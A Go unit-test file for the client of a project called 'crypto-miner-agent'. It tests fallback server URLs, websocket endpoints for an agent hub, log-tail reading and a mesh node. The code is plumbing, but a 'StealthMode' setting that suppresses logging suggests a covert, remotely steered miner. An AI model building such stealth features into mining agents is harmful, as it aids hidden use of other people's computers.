package client

import (
	"os"
	"path/filepath"
	"strings"
	"testing"

	"crypto-miner-agent/config"
)

func TestBuildServerURLListDedupes(t *testing.T) {
	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
		ServerURL:        "https://primary.example",
		BackupServerURLs: []string{"https://backup.example", "https://primary.example", "  "},
	}}
	urls := buildServerURLList(cfg)
	if len(urls) != 2 {
		t.Fatalf("expected 2 urls, got %v", urls)
	}
	if urls[0] != "https://primary.example" || urls[1] != "https://backup.example" {
		t.Fatalf("unexpected order: %v", urls)
	}
}

func TestBuildServerURLListEmptyFallback(t *testing.T) {
	cfg := config.RuntimeConfig{}
	urls := buildServerURLList(cfg)
	if len(urls) != 1 || urls[0] != "" {
		t.Fatalf("expected single empty fallback, got %v", urls)
	}
}

func TestBuildWSURL(t *testing.T) {
	cases := []struct {
		in, want string
		err      bool
	}{
		{"https://hub.example/", "wss://hub.example/ws/agent", false},
		{"http://hub.example:8080", "ws://hub.example:8080/ws/agent", false},
		{"hub.example", "ws://hub.example/ws/agent", false},
		{"wss://hub.example/extra/", "wss://hub.example/extra/ws/agent", false},
		{"ftp://hub.example", "", true},
	}
	for _, tc := range cases {
		got, err := buildWSURL(tc.in)
		if tc.err {
			if err == nil {
				t.Fatalf("%q: expected error", tc.in)
			}
			continue
		}
		if err != nil {
			t.Fatalf("%q: %v", tc.in, err)
		}
		if got != tc.want {
			t.Fatalf("%q: got %q want %q", tc.in, got, tc.want)
		}
	}
}

func TestFormatCmdErr(t *testing.T) {
	got := formatCmdErr(os.ErrPermission, []byte("denied"))
	if !strings.Contains(got, "permission denied") || !strings.Contains(got, "denied") {
		t.Fatalf("unexpected: %q", got)
	}
}

func TestReadLogTailDisabled(t *testing.T) {
	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
		FileLogging: false,
		StealthMode: true,
	}}
	_, err := readLogTail(cfg, 50)
	if err == nil || !strings.Contains(err.Error(), "logging disabled") {
		t.Fatalf("expected disabled error, got %v", err)
	}
}

func TestReadLogTailFromInstallDir(t *testing.T) {
	dir := t.TempDir()
	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
		FileLogging:         true,
		StealthMode:         false,
		InstallBase:         "custom",
		InstallCustomBase:   dir,
		InstallRelativePath: ".",
	}}
	logPath := filepath.Join(dir, "miner.log")
	content := "line1\nline2\nline3\nline4\n"
	if err := os.WriteFile(logPath, []byte(content), 0644); err != nil {
		t.Fatal(err)
	}
	got, err := readLogTail(cfg, 2)
	if err != nil {
		t.Fatal(err)
	}
	if !strings.Contains(got, "line3") || !strings.Contains(got, "line4") {
		t.Fatalf("expected tail lines, got %q", got)
	}
	if strings.Contains(got, "line1") {
		t.Fatal("should not include older lines beyond tail")
	}
}

func TestReadLogTailMissingFile(t *testing.T) {
	dir := t.TempDir()
	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
		FileLogging:         true,
		InstallBase:         "custom",
		InstallCustomBase:   dir,
		InstallRelativePath: ".",
	}}
	_, err := readLogTail(cfg, 10)
	if err == nil || !strings.Contains(err.Error(), "miner.log not found") {
		t.Fatalf("expected not found, got %v", err)
	}
}

func TestNewAgentClientDefaults(t *testing.T) {
	cfg := config.RuntimeConfig{AgentID: "agent-1"}
	c := NewAgentClient(cfg)
	if c.agentID != "agent-1" {
		t.Fatalf("agent id %q", c.agentID)
	}
	if c.mesh == nil {
		t.Fatal("mesh node should be initialized")
	}
}
